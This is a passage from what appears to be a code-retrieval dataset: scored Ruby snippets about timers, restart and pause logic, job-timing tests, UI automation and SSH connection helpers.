3.minutes,\n 'kvik', 'running')),\n message)\n Time.advance(10.minutes)\n assert_message(record_list(30.hours + 13.minutes,\n [mark, 30.hours+13.minutes, 'kvik', 'running']),\n records)\n end", "title": "" }, { "docid": "714af9ea726c7829e46ca9c39c1e056e", "score": "0.48497283", "text": "def change_status(status)\n unless @status == status\n @status = status\n @start_time = Time.now\n end\n end", "title": "" }, { "docid": "dc57b6fd85f2771aad09ad5d837383ac", "score": "0.48485947", "text": "def changes(i, sleeptime=0.5)\r\n q = adler_map(i)\r\n sleep(sleeptime)\r\n adler_compare(i, q)\r\n end", "title": "" }, { "docid": "33dfa94534f22022059ab8a94deda800", "score": "0.48431772", "text": "def set_start(v)\nadd_state(v)\n@start = v\nend", "title": "" }, { "docid": "6b904d6cc93888253fce6176309a9468", "score": "0.48232222", "text": "def reset_wait_time_span\n @iteration = 0\n true\n end", "title": "" }, { "docid": "6609aef4276d339bc56ecddc2a29f945", "score": "0.48203298", "text": "def start_timer\n @start_time = Time.now\n end", "title": "" }, { "docid": "5d22a720aa2261d8514f2168b3791296", "score": "0.481987", "text": "def collect_time\n @start_item = StartItem.find(params[:id])\n @start_item.update(end_time: DateTime.now, finished: true)\n @race = Race.find(@start_item.race_id)\n finish_time = from_seconds(@start_item.end_time - @start_item.start_time)\n existing_result = Result.where(:racer_id => @start_item.racer_id, :race_id => @start_item.race_id)\n if existing_result.length == 1\n to_edit = existing_result.first\n to_edit.update(time: finish_time)\n to_edit.save!\n else\n id = Result.maximum(:id).next\n result = Result.create(:id => id, :rank => 0, :group_name => @start_item.group, :bib => @start_item.bib, :racer_id => @start_item.racer_id, :race_id => @start_item.race_id, :time => finish_time)\n result.save!\n end\n validate_ranks(@race.id)\n\n # HACK / TO DO: We can speed this up by avoiding another call to the DB.\n result = to_edit || result\n @racer = Racer.find(result.racer_id)\n @result = Result.find(result.id)\n\n # Call collect_time.js.erb\n respond_to do |format|\n format.json { render json: @result }\n format.js\n end\n end", "title": "" }, { "docid": "68d231ed19ba969a1dd66d2196639c11", "score": "0.4819741", "text": "def toggle\n @done = !@done\n end", "title": "" }, { "docid": "29daf29be24493b1d3a0dac09dc90083", "score": "0.48077503", "text": "def restart\n @action_index = 0\n @cur_repeat = @repeat\n @sub_repeats = @sub_actions.map(&:repeat).freeze\n end", "title": "" }, { "docid": "4d753e28a34226c9bcd467a7d1431244", "score": "0.4806674", "text": "def aide3()\n\n @indiceFortFlag = TRUE\n @timer.add(120)\n end", "title": "" }, { "docid": "4448d4d747cbe61a1f0375ab80e69ddb", "score": "0.4799931", "text": "def safety_start_player_turn\n ai_done_tb if (@safety_tb+=1)> TM::Defaults::SafetyTimer &&TM.queues_empty?\n end", "title": "" }, { "docid": "23cbdc46613c571224377ee28059a2f0", "score": "0.47982514", "text": "def restart\n\t\t# Call back into the continuation that was saved at the beginning of\n\t\t# #each\n\t\t@marker.call if @iterating\n\tend", "title": "" }, { "docid": "aeab4d1eb608d94d36c2bf1ad4c738fc", "score": "0.47939593", "text": "def pause_for_roundtime\n if $_api_current_rt > 0\n api_sleep $_api_current_rt + $rt_adjust\n end\nend", "title": "" }, { "docid": "dc75d5e280e105be674f9db8e6393c46", "score": "0.47922423", "text": "def redmine_start_stop(m, params)\n \t redmine_counter_stop(m, params)\n \t params[:task] = params[:task_to_start]\n \t redmine_counter_start(m, params)\n end", "title": "" }, { "docid": "309b210e769fb9f986a7238cbeba50e0", "score": "0.47818974", "text": "def restart\n self.stop\n self.start\n end", "title": "" }, { "docid": "235b0b16773b768f473574253a5a8864", "score": "0.47706726", "text": "def restart!\n stop!\n start!\n end", "title": "" }, { "docid": "7acae9264444f47a6143c91da8a11f40", "score": "0.47658288", "text": "def toggle_pause_or_start()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_toggle_pause_or_start(@handle.ptr)\n end", "title": "" }, { "docid": "f1d76d0c221f60dc0ab341439b45efdd", "score": "0.4764482", "text": "def start! *_\n self.count = 0\n end", "title": "" }, { "docid": "5ca31bb443332d9ce92a4d76e66b7a03", "score": "0.47515714", "text": "def start_pass(index)\n end", "title": "" }, { "docid": "bd66ff3a4c2d1497f1865db3405fc78d", "score": "0.4750587", "text": "def timing(bool)\n @@timing = bool\n end", "title": "" }, { "docid": "a438432d987994e9016558b60d10a646", "score": "0.47501445", "text": "def take\n @dummy_num -= 1\n refresh\n end", "title": "" }, { "docid": "1ebdf2740c65a5f3e7c77821cdd62063", "score": "0.47493774", "text": "def restart\n stop\n start\nend", "title": "" }, { "docid": "3faee630207fbd5e6d6afde4c14485f6", "score": "0.47428462", "text": "def resched\n action('resched')\n end", "title": "" }, { "docid": "49d6f81e57a3c7688a8f7afd0691974e", "score": "0.47402543", "text": "def restart\n stop if is_running?\n start\n \n is_running?\n end", "title": "" }, { "docid": "b1bae5370282fe70dbce93f40b712234", "score": "0.47346294", "text": "def start_clock\n @start_time = Time.now\n end", "title": "" }, { "docid": "78a472783fb294a08fca2a4755f13092", "score": "0.47182456", "text": "def restart\n stop\n sleep 2\n start\n end", "title": "" }, { "docid": "6b62d8a0a8d0dec352dcac7e6b8b4491", "score": "0.47160712", "text": "def setup_smooth_return\n tx = @ori_x\n ty = @ori_y\n dur = @act[1] || 25\n rev = @acts[2]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end", "title": "" }, { "docid": "6b62d8a0a8d0dec352dcac7e6b8b4491", "score": "0.47160712", "text": "def setup_smooth_return\n tx = @ori_x\n ty = @ori_y\n dur = @act[1] || 25\n rev = @acts[2]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end", "title": "" }, { "docid": "9a02e66cfbed725b306aca364e825a86", "score": "0.47069427", "text": "def restart\n stop if is_running?\n start\n\n is_running?\n end", "title": "" }, { "docid": "42899a780cb01a808d3ffbfbc3bc597a", "score": "0.4702565", "text": "def restart\n if self.started\n self.stop\n self.start\n true\n else\n false\n end\n end", "title": "" }, { "docid": "5b0884d17dac97a541fa17c7086c39da", "score": "0.4698198", "text": "def start\n until clock.all? { |val| val == 0 }\n print_clock\n decrement_clock\n end\n end", "title": "" }, { "docid": "49313aee8437b3f6ac598278abc765a2", "score": "0.46977803", "text": "def test_start_pause_stop_combinations\n stqe = @session.jobs['stqe']\n kaner = stqe.subjobs['kaner - usage testing']\n mail = @session.jobs['misc. email']\n\n # A simple start->stop\n mail_start = @now\n start(mail) # record 1\n assert_states([mail], [])\n assert_new_record 1, mail, mail_start\n stop(mail) # record 1 stops\n assert_states([], [])\n assert_stopped_with(1, 1.minute)\n\n # A simple start->pause->stop\n stqe_start = @now\n start(stqe) # record 2\n assert_states([stqe], [])\n assert_new_record 2, stqe, stqe_start\n pause\n assert_states([], [stqe])\n stop(stqe) # record 2 stops\n assert_states([], [])\n assert_stopped_with(2, 1.minute)\n\n # Now, two jobs at once.\n stqe_start = @now\n start(stqe) # record 3\n assert_states([stqe],[])\n assert_new_record 3, stqe, stqe_start\n mail_start = @now\n start(mail) # record 4\n assert_states([mail],[stqe])\n assert_new_record 4, mail, mail_start\n pause\n assert_states([], [mail, stqe])\n start(mail) \n assert_states([mail], [stqe])\n pause\n assert_states([], [mail, stqe])\n start(mail)\n assert_states([mail], [stqe])\n stop(mail) # record 4 stops\n assert_states([], [stqe])\n assert_stopped_with(4, 3.minutes)\n start(stqe)\n assert_states([stqe], [])\n stop(stqe) # record 3 stops\n assert_states([], [])\n assert_stopped_with(3, 2.minutes)\n\n # Three jobs\n kaner_start = @now\n start(kaner) # record 5\n assert_states([kaner], [])\n assert_new_record 5, kaner, kaner_start\n stqe_start = @now\n start(stqe) # record 6\n assert_states([stqe], [kaner])\n assert_new_record 6, stqe, stqe_start\n pause\n assert_states([], [stqe, kaner])\n start(stqe)\n assert_states([stqe], [kaner])\n start(kaner)\n assert_states([kaner], [stqe])\n pause\n assert_states([], [kaner, stqe])\n mail_start = @now\n start(mail) # record 7\n assert_new_record 7, mail, mail_start\n assert_states([mail], [kaner, stqe])\n start(stqe)\n assert_states([stqe], [mail, kaner])\n start(mail)\n assert_states([mail], [stqe, kaner])\n start(stqe)\n assert_states([stqe], [mail, kaner])\n stop(stqe) # record 6 stops\n assert_states([], [mail, kaner])\n assert_stopped_with(6, 4.minutes)\n start(kaner)\n assert_states([kaner], [mail])\n stop(kaner) # record 5 stops\n assert_states([], [mail])\n assert_stopped_with(5, 3.minutes)\n stop(mail) # record 7 stops\n assert_states([], [])\n assert_stopped_with(7, 2.minutes)\n\n # Loose ends - pausing due to other jobs\n stqe_start = @now\n start(stqe) # record 8 \n assert_states([stqe], [])\n assert_new_record 8, stqe, stqe_start\n pause\n assert_states([], [stqe])\n kaner_start = @now\n start(kaner) # record 9 \n assert_states([kaner], [stqe])\n assert_new_record 9, kaner, kaner_start\n start(stqe)\n assert_states([stqe], [kaner])\n stop(stqe) # record 8 stops\n assert_states([], [kaner])\n assert_stopped_with(8, 2.minutes)\n stop(kaner) # record 9 stops\n assert_states([], [])\n assert_stopped_with(9, 1.minute)\n end", "title": "" }, { "docid": "fa7ea586076425443938b8518811c39a", "score": "0.46975508", "text": "def start \n @Done = false \n end", "title": "" }, { "docid": "c13faae7b917f8d806545e19baecd777", "score": "0.46963942", "text": "def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end", "title": "" }, { "docid": "c13faae7b917f8d806545e19baecd777", "score": "0.46963942", "text": "def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end", "title": "" }, { "docid": "37bd79ebd9f0d2d1de8ab0d8e6427e77", "score": "0.46895117", "text": "def set_start(v)\n add_state(v)\n @start = v\n end", "title": "" }, { "docid": "37bd79ebd9f0d2d1de8ab0d8e6427e77", "score": "0.46895117", "text": "def set_start(v)\n add_state(v)\n @start = v\n end", "title": "" }, { "docid": "fd57da800bb9ed09cf603dd139068731", "score": "0.46832374", "text": "def toggle_completed\n update completed: !completed\n completed\n end", "title": "" }, { "docid": "6811899e01bc259f8237a020eb411e9e", "score": "0.46771792", "text": "def start_timing\n args = request_params\n\n if !args[:link].nil?\n start_timing_for_link(args[:map_id], args[:round], args[:link])\n else\n start_timing_for_round(args[:map_id], args[:round])\n end\n\n head :ok\n end", "title": "" }, { "docid": "2aa952effaba90fc2142ad13f0ef06f2", "score": "0.46761316", "text": "def move_to_start\n @cursor = 0\n end", "title": "" }, { "docid": "2aa952effaba90fc2142ad13f0ef06f2", "score": "0.46761316", "text": "def move_to_start\n @cursor = 0\n end", "title": "" }, { "docid": "323f00859837c04975c1f97c611a0169", "score": "0.4674322", "text": "def resume\n @mutex.synchronize do\n if @state == :complete\n false\n else\n @sleeper.wake\n true\n end\n end\n end", "title": "" }, { "docid": "520ff5218e4b9601db4069d0f9a7ca78", "score": "0.46654966", "text": "def start_timing_for_round(map_id, round)\n # check for pre-existing record\n records = @store.where(\n map_id: map_id,\n round: round\n )\n\n _record_start_time(records)\n end", "title": "" }, { "docid": "758be6a465074561510ccc17f6d83239", "score": "0.46651548", "text": "def restart( timeout = 5 )\n stop( timeout )\n start\n end", "title": "" }, { "docid": "0dd0130b4a016dcf8fb7ddcd06ee950b", "score": "0.46594465", "text": "def set_result_tnmtfirst\n @result_tnmtfirst = ResultTnmtfirst.find(params[:id])\n end", "title": "" }, { "docid": "41be71e077f0097c5a277a0c9ea2fce3", "score": "0.46592838", "text": "def mark_start_time key\n @start_time[key] = Time.now\n end", "title": "" }, { "docid": "122bbb1886834dc0bd32c4e85149e652", "score": "0.46583357", "text": "def playingOperation(client)\n\n\t\tclient.sleep(15000)\n\t\tbegin\t\t\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@id='seek_controller']\", 0, 1)\n\t\t\t$startTime = client.elementGetText(\"NATIVE\", \"xpath=//*[@id='time']\", 0)\n\t\t\tputs \"Starting time : \" + $startTime\n\n\t\t\tclient.sleep(8000)\n\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@id='seek_controller']\", 0, 1)\n\t\t\t$endTime = client.elementGetText(\"NATIVE\", \"xpath=//*[@id='time']\", 0)\n\t\t\tputs \"Ending time : \" + $endTime\n\n\t\t\tif $endTime == $startTime\n\t\t\t\t$errMsgConti = \"::MSG::「続きを再生が失敗しました」 Playback has not started, check status!!!\"\n\t\t\t\t$obj_rtnrs.returnNG\n\t\t\t\t$obj_rtnrs.printResult\t\n\t\t\telse\n\t\t\t\t@@comment = \"::MSG::「続きを再生が成功しました」 Playback has started successfully...\"\n\t\t\t\t$obj_rtnrs.returnOK\n\t\t\t\t$obj_rtnrs.printResult\t\t\t\n\t\t\tend\n\t\trescue Exception => e\n\t\t\t$errMsgConti = \"::MSG:: Exception occurrred, could not get playback time..: \" + e.message\n\t\t\t$obj_rtnrs.returnNG\n\t\tend\n\t\tbegin\n\t\t\tif client.waitForElement(\"NATIVE\", \"xpath=//*[@class='android.view.View']\", 0, 120000)\n\t\t \t# If statement\n\t\t\tend\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@id='seek_controller']\", 0, 1)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@id='play_pause_button']\", 0, 1)\n\t\t\tif client.waitForElement(\"NATIVE\", \"xpath=//*[@class='android.view.View']\", 0, 30000)\n\t\t \t# If statement\n\t\t\tend\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@id='toolbar']\", 0, 1)\n\t\t\tclient.sleep(500)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@contentDescription='上へ移動']\", 0, 1)\n\t\trescue Exception => e\n\t\t\t$errMsgConti = \"::MSG:: Exception occurrred while finding ELEMENT\" + e.message\n\t\tend\t\t\n\tend", "title": "" }, { "docid": "a07fb2f4f754e7d272ad492669856287", "score": "0.46556544", "text": "def beginBetting\r\n\tprintLine\r\n\tstartBetRound\r\n\tprintLine\r\n\tstartBetting\r\n\t@new_round = false\r\nend", "title": "" }, { "docid": "9d378b8314c4846f243f9c1e8f3e9824", "score": "0.46534792", "text": "def finish_round\n display(\"\\n\\n ---------------- TIME TO SETTLE ---------------- \\n\\n\")\n end", "title": "" }, { "docid": "cc47529af8af820ec039250588564dcf", "score": "0.46519178", "text": "def advance\n if @days_until_next <= 0\n @state = :shock\n @days_until_next = @rng.call\n else\n @state = :normal\n @days_until_next -= 1\n end\n end", "title": "" }, { "docid": "bc180f04be848d5114026f074faa354a", "score": "0.4651505", "text": "def test_hammer_time(r)\n flag = true\n ntime = $ntime_max - 100000\n pair = $result[r].values[0].pairs[0] # just pick one pair ????\n \n while (ntime > 0 and flag)\n # puts ntime\n hammer_row(r, pair[0], pair[1], ntime)\n ntime -= 100000\n end\nend", "title": "" }, { "docid": "dccc62babd64432099268669c8e02ef0", "score": "0.46389577", "text": "def start_tone_change(tone, duration, ease=:InLinear)\n @tone.set_transition('red', tone.red, duration, ease)\n @tone.set_transition('green', tone.green, duration, ease)\n @tone.set_transition('blue', tone.blue, duration, ease)\n @tone.set_transition('gray', tone.gray, duration, ease)\n end", "title": "" }, { "docid": "dccc62babd64432099268669c8e02ef0", "score": "0.46389577", "text": "def start_tone_change(tone, duration, ease=:InLinear)\n @tone.set_transition('red', tone.red, duration, ease)\n @tone.set_transition('green', tone.green, duration, ease)\n @tone.set_transition('blue', tone.blue, duration, ease)\n @tone.set_transition('gray', tone.gray, duration, ease)\n end", "title": "" }, { "docid": "5d44b4fbd55b7c6a8ad5003a4a55b396", "score": "0.4637424", "text": "def startLaserCountdown\n # get the current time in milliseconds for reference use\n @curLaserTime = Time.now.to_f * 1000\n end", "title": "" }, { "docid": "0a3e4ff2654aa650792eda02ba5dd563", "score": "0.46351427", "text": "def reset\n super\n @first_iteration = true\n end", "title": "" }, { "docid": "f15248cd8cf7b3f72133e8dc376272c6", "score": "0.46329337", "text": "def round\n @player = @players.first\n puts \"---- NEW TURN -----\"\n ask_question(@player)\n @players.rotate!\n\nend", "title": "" }, { "docid": "17ae6555bc70bcf58d57e9f68e5afe17", "score": "0.46211937", "text": "def start_tone_change(tone, duration, ease = :InLinear)\n @tone.set_transition('red', tone.red, duration, ease)\n @tone.set_transition('green', tone.green, duration, ease)\n @tone.set_transition('blue', tone.blue, duration, ease)\n @tone.set_transition('gray', tone.gray, duration, ease)\n end", "title": "" }, { "docid": "ade49bfb94111c8276066d75bc73259c", "score": "0.46197838", "text": "def first_record\n reset\n next_record\nend", "title": "" }, { "docid": "6f664b5134075a76f98e30bbfceb6f79", "score": "0.4606964", "text": "def process_run_results(test_objects, run_type, start_time, run_id)\n @event_emitter.emit_event :info => 'Processing results. This may take a minute...'\n\n primary = []\n rerun = []\n @event_emitter.emit_event :update_stats => '' #this needs to be an object not a string. will implement later\n test_objects.each do |test|\n\n if run_type == :primary\n if test.results[:primary].nil?\n puts \"There was a test scheduled to run that didnt: #{test.id}\"\n end\n primary << test.results[:primary] unless test.results[:primary].nil?\n primary.flatten!\n elsif run_type == :rerun\n unless test.results[:rerun].nil?\n rerun << test.results[:rerun]\n rerun.flatten!\n end\n end\n\n end\n if run_type == :primary\n @results[:primary] = DATSauce::TestRunResult.new primary, start_time, run_id, 'primary'\n elsif run_type == :rerun\n @results[:rerun] = DATSauce::TestRunResult.new rerun, start_time, run_id, 'rerun'\n end\n end", "title": "" }, { "docid": "56aa411b8d464d31f36b273a5a0c1f62", "score": "0.46064875", "text": "def toggle\n @raid.toggle\n redirect_to :back\n end", "title": "" }, { "docid": "2047a64d7ad3e34aeb34985eaf75d392", "score": "0.46057424", "text": "def scan_to_check_id(item)\n 5.times do \n show do\n title 'Take Item'\n note \"Take item #{get_barcode_id(item)}\"\n note 'Scan item'\n end\n return true if true #TODO make actually work if scan is correct then true\n end\n end", "title": "" }, { "docid": "89607d0a11b197a957e86a4f5c796829", "score": "0.4603209", "text": "def restart(*args)\n stop\n start\n end", "title": "" } ]
f1cfba97bb13db74692ec9f039623f49
In order to run Aruba's subprocess helper methods: Interactive connection to the environment's virtual machine, replacing the ruby process with an SSH process. This method optionally takes a hash of options which override the configuration values. TODO rename this method to script_connect or script_block_connect
[ { "docid": "80132a986fe6286c8950635b1df10538", "score": "0.6890252", "text": "def interactive_connect(opts={})\n if Util::Platform.windows?\n raise Errors::SSHUnavailableWindows, :key_path => env.config.ssh.private_key_path,\n :ssh_port => port(opts)\n end\n\n raise Errors::SSHUnavailable if !Kernel.system(\"which ssh > /dev/null 2>&1\")\n\n options = {}\n options[:port] = port(opts)\n [:host, :username, :private_key_path].each do |param|\n options[param] = opts[param] || env.config.ssh.send(param)\n end\n\n check_key_permissions(options[:private_key_path])\n\n command = ssh_command(options)\n env.logger.info(\"ssh\") { \"Invoking SSH: #{command}\" }\n\n #env.config.ssh.master_connection = command\n aruba_timeout\n begin\n env.ui.info(\"Starting SSH input session: #{command[0..20]} <snip>...\")\n run_interactive(command)\n # wait for the remote shell to accept commands. This is critical.\n # This exception should never be raised\n raise(IOError, 'The remote session is not ready') unless wait_for_ssh_shell\n env.ui.info(\"Started SSH input session (pid: #{pid}) control path: #{env.config.ssh.get_control_path}.\")\n rescue => e\n env.logger.info(\"ssh\") { \"#{e.message}: #{caller.join('\\n')}\" }\n end\n end", "title": "" } ]
[ { "docid": "3145e9a87abbb3c4cfe182e37358136f", "score": "0.65379876", "text": "def execute\n log_debug \"[#{@node}] - Run interactive remote session...\"\n if @cmd_runner.dry_run\n log_debug \"[#{@node}] - Won't execute interactive shell in dry_run mode.\"\n else\n @connector.remote_interactive\n end\n end", "title": "" }, { "docid": "3976f6d48ba32d6608e2e0e04ddd1745", "score": "0.64457756", "text": "def remote_interactive\n interactive_cmd = \"#{ssh_exec} #{ssh_url}\"\n out interactive_cmd\n # As we're not using run_cmd here, make sure we handle the dry_run switch ourselves\n if @cmd_runner.dry_run\n out 'Won\\'t execute interactive shell in dry_run mode'\n else\n system interactive_cmd\n end\n end", "title": "" }, { "docid": "a5e617de33ae5241601060203ae1dbec", "score": "0.6343532", "text": "def run_interactively(command)\n # select a random server to run on\n server = find_servers_for_task(current_task).sample\n # Import the default environment, cd to the currently deployed app, run the command\n command = %Q(ssh -tt -i #{ssh_options[:keys]} #{user}@#{server} \"bash -c 'cd #{deploy_to}/current; #{command}'\")\n puts command\n exec command\nend", "title": "" }, { "docid": "1c886a756d6624fc5b799c0954fd69f0", "score": "0.6322269", "text": "def ruby_script(host, command_lines, options = {})\n host_commander.ruby_script(host, command_lines, ssh: ssh, winrm: winrm, connector: options[:connector])\n end", "title": "" }, { "docid": "c02f5b7ec872bd48346f12f3f411d6e3", "score": "0.63212216", "text": "def remote_interactive\n system \"cd #{workspace_for(@node)} ; /bin/bash\"\n end", "title": "" }, { "docid": "1e72ed0e09ec12072ada3b368eca40fd", "score": "0.625641", "text": "def ssh_exec_line(params)\n Cocaine::CommandLine.new('', '-c :in_machine').command(in_machine: in_machine(params))\n end", "title": "" }, { "docid": "15be471a423be7407822cf25ba430784", "score": "0.6207573", "text": "def scriptAction(opts, data, config)\n \n self.ssh_connect(opts, data, config) { | opts, data, connect_cmd_key |\n \n # we need to set /bin/bash -s to have non-interactive shell\n # so no banners etc.. are displayed\n connect_cmd = \"ssh #{connect_cmd_key} \" + opts.user\n connect_cmd += '@' + data[0]['ip_address'] + \" '/bin/bash -s' <\" + opts.from\n out = `#{connect_cmd}`\n puts out\n \n }\n \n end", "title": "" }, { "docid": "96b047b5af04de522e735c232b5f3371", "score": "0.6155651", "text": "def execute_interactively(command)\n server = fetch(:bundle_servers).first\n user = server.user\n port = server.port || 22\n\n exec \"ssh -l #{user} #{host} -p #{port} -t 'cd #{deploy_to}/current && #{command}'\"\n end", "title": "" }, { "docid": "1ee9aff005546df8ae64e08ee1a1e42e", "score": "0.6127125", "text": "def connect\n # Run +@executable+ in a separate thread to talk to hin asynchronously\n Thread.start do\n # Spawn the actual +@executable+ pty with +input+ and +output+ handle\n begin\n PTY.spawn(@executable + ' ' + params) do |output, input, pid|\n @pid = pid\n output.sync = true\n input.sync = true\n\n # Write inputs to pty from +exec+ method\n Thread.start do\n while (line = @read1.readline)\n input.puts line\n end\n end\n\n # Wait for responses ending with input prompt\n loop do\n output.expect(/smb: \\\\>$/) { |text| handle_response text }\n end\n end\n rescue Errno::EIO => e\n unless @shutdown_in_progress\n if @connection_established\n raise StandardError, \"Unexpected error: [#{e.message}]\"\n else\n raise Client::ConnectionError, 'Cannot connect to SMB server'\n end\n end\n end\n end\n end", "title": "" }, { "docid": "6de65839dc0b72e107df1ff6f3b3395e", "score": "0.6106858", "text": "def execute_interactively(command)\n server = fetch(:bundle_servers).first\n user = server.user\n port = server.port || 22\n\n exec \"ssh -l #{user} #{host} -p #{port} -t 'cd #{deploy_to}/current && #{command}'\"\n end", "title": "" }, { "docid": "f0a9170faaf57d9ae12f02fe24c061ff", "score": "0.60837424", "text": "def execute(opts={})\n begin\n opts = opts.dup\n\n start_control_master(opts) unless control_master_alive?\n\n # New SSH input connections will use the SSH control master connection\n create_connection(opts) unless get_connection\n\n distro? unless env.config.vm.distribution\n\n # Yield our session for executing\n return yield self if block_given?\n rescue Errno::ECONNREFUSED\n raise Errors::SSHConnectionRefused\n ensure\n # output the stdout (std error is redirected to stdout on the remote/VM. See vagrant_remote_cmd.\n #show_connection_output\n end\n\n end", "title": "" }, { "docid": "ce2a0cbbbeb2763371f9921df3eddf2f", "score": "0.6072618", "text": "def ssh\n env.require_persisted_vm\n env.ssh.connect\n end", "title": "" }, { "docid": "6c01d98fb39e496b5a09c8c928f7bfc9", "score": "0.6013562", "text": "def initialize(options = {}, &block)\n options ||= {}\n @options = {\n host: options[:host] || 'localhost',\n port: options[:port] || 22,\n user: options[:user],\n password: options[:password],\n prompt: (options[:prompt].to_s.strip == '') ? '~~#' : options[:prompt],\n silence_wait: (options[:silence_wait] || 5),\n replace_cr: options[:replace_cr].to_s,\n retrieve_exit_code: options[:retrieve_exit_code].nil? ? true : options[:retrieve_exit_code],\n on_non_zero_exit_code: options[:on_non_zero_exit_code] ? options[:on_non_zero_exit_code].to_s.to_sym : :ignore,\n filter_password: options[:filter_password].nil? ? true : options[:filter_password],\n }\n\n raise ArgumentError.new('Missing block.') unless block_given?\n raise ArgumentError.new('Missing host.') if @options[:host].to_s.strip == ''\n raise ArgumentError.new('Missing user.') if @options[:user].to_s.strip == ''\n raise ArgumentError.new('Missing password.') if @options[:password].to_s.strip == ''\n raise ArgumentError.new('Missing prompt.') if @options[:prompt].to_s.strip == ''\n raise ArgumentError.new('Invalid option for on_non_zero_exit_code.') unless [:ignore, :raise_error].include?(@options[:on_non_zero_exit_code])\n\n @options[:prompt] = @options[:prompt]\n .gsub('!', '#')\n .gsub('$', '#')\n .gsub('\\\\', '.')\n .gsub('/', '.')\n .gsub('\"', '-')\n .gsub('\\'', '-')\n\n executed = false\n\n @last_exit_code = 0\n @sftp = nil\n Net::SSH.start(\n @options[:host],\n @options[:user],\n password: @options[:password],\n port: @options[:port],\n non_interactive: true,\n ) do |ssh|\n @ssh = ssh\n ssh.open_channel do |ssh_channel|\n ssh_channel.request_pty do |pty_channel, pty_success|\n raise FailedToRequestPTY.new('Failed to request PTY.') unless pty_success\n\n pty_channel.send_channel_request('shell') do |_, shell_success|\n raise FailedToStartShell.new('Failed to start shell.') unless shell_success\n\n # cache the channel pointer and start buffering the input.\n @channel = pty_channel\n buffer_input\n\n # give the shell a chance to catch up and initialize fully.\n sleep 0.25\n\n # set the shell prompt so that we can determine when processes end.\n # does not work with background processes since we are looking for\n # the shell to send us this when it is ready for more input.\n # a background process can easily bury the prompt and then we are stuck in a loop.\n exec \"PS1=\\\"#{@options[:prompt]}\\\"\"\n\n block.call(self)\n\n executed = true\n\n # send the exit command and remove the channel pointer.\n quit\n @channel = nil\n end\n end\n ssh_channel.wait\n end\n end\n\n @ssh = nil\n\n if @sftp\n @sftp.session.close\n @sftp = nil\n end\n\n # remove the cached user and password.\n options.delete(:user)\n options.delete(:password)\n\n raise FailedToExecute.new('Failed to execute shell.') unless executed\n end", "title": "" }, { "docid": "40f36b7d53e6ba40c62cd49f0a2ac3ae", "score": "0.5988908", "text": "def invoke(script, this)\n # Ruby 1.8.7 doesn't let you have empty symbols\n term_mode = :\"#{this.settings.term_mode}\" if this.settings.term_mode\n code = \"#{this.ssh_command} -- #{script}\"\n\n # Certain environments can't do :pretty mode.\n term_mode = :exec if term_mode == :pretty && !pretty_supported?\n\n case term_mode\n when :pretty\n this.pretty_system(code)\n when :exec\n exec code\n else\n system code\n $?.to_i\n end\n end", "title": "" }, { "docid": "295e1af1778f3d5a23d1f1c5d1242edf", "score": "0.59590346", "text": "def connect_to_virtual_serial(options)\n if options['vm'].to_s.match(/ldom|gdom/)\n connect_to_gdom_console(options)\n else\n handle_output(options,\"\")\n handle_output(options,\"Connecting to serial port of #{options['name']}\")\n handle_output(options,\"\")\n handle_output(options,\"To disconnect from this session use CTRL-Q\")\n handle_output(options,\"\")\n handle_output(options,\"If you wish to re-connect to the serial console of this machine,\")\n handle_output(options,\"run the following command:\")\n handle_output(options,\"\")\n handle_output(options,\"#{options['script']} --action=console --vm=#{options['vm']} --name = #{options['name']}\")\n handle_output(options,\"\")\n handle_output(options,\"or:\")\n handle_output(options,\"\")\n handle_output(options,\"socat UNIX-CONNECT:/tmp/#{options['name']} STDIO,raw,echo=0,escape=0x11,icanon=0\")\n handle_output(options,\"\")\n handle_output(options,\"\")\n system(\"socat UNIX-CONNECT:/tmp/#{options['name']} STDIO,raw,echo=0,escape=0x11,icanon=0\")\n end\n return\nend", "title": "" }, { "docid": "667aa494731287e22f96a9aa6de8e54b", "score": "0.59579253", "text": "def connect(opts={})\n if Util::Platform.windows?\n raise Errors::SSHUnavailableWindows, :key_path => env.config.ssh.private_key_path,\n :ssh_port => port(opts)\n end\n\n raise Errors::SSHUnavailable if !Kernel.system(\"which ssh > /dev/null 2>&1\")\n\n options = build_options(opts)\n\n check_key_permissions(options[:private_key_path])\n\n command = ssh_command(options)\n # Some hackery going on here. On Mac OS X Leopard (10.5), exec fails\n # (GH-51). As a workaround, we fork and wait. On all other platforms,\n # we simply exec.\n env.logger.info(\"ssh\") { \"Invoking SSH: #{command}\" }\n safe_exec(command)\n end", "title": "" }, { "docid": "81663a9544195fa874d90a3a00c5762f", "score": "0.59532565", "text": "def ssh_executable\n @ssh_executable ||= begin\n roles :app_master, :app, :solo, :util do\n run(generate_ssh_wrapper)\n end\n paths.ssh_wrapper\n end\n end", "title": "" }, { "docid": "1f368af71ee79f3c6505cfdb5ac01e5e", "score": "0.59502435", "text": "def execute_interactive(description, script)\n @output.start_border description\n system script\n @output.end_border\n end", "title": "" }, { "docid": "1f368af71ee79f3c6505cfdb5ac01e5e", "score": "0.59502435", "text": "def execute_interactive(description, script)\n @output.start_border description\n system script\n @output.end_border\n end", "title": "" }, { "docid": "0a9e0e783a5f234053349c6513255686", "score": "0.5935636", "text": "def run\n # reset the host info.\n @host_info = nil\n\n admin_shell do |admin|\n # test the connection and sudo capabilities.\n admin.sudo_stat_exec 'Testing connection', 'ls -al /root'\n\n # retrieve the host info now that we are connected.\n @host_info = admin.host_info\n raise CliError, \"Host OS (#{host_id}) is not supported.\" unless [ :ubuntu ].include?(host_id)\n\n # update the system and configure SSH.\n update_system admin\n ssh_copy_id(admin) unless @options[:admin_password] == ''\n config_ssh admin\n end\n # end the session and reconnect to take advantage of the SSH reset done at the end of config_ssh\n admin_shell do |admin|\n # install ruby prerequisites and mariadb.\n install_prereqs admin\n install_db admin\n\n # add the deploy user.\n add_deploy_user admin\n\n # log in as deploy user\n deploy_shell do |deploy|\n # enable key auth.\n ssh_copy_id deploy\n\n # install rbenv.\n install_rbenv deploy\n end\n\n # log out and then back in to load rbenv\n deploy_shell do 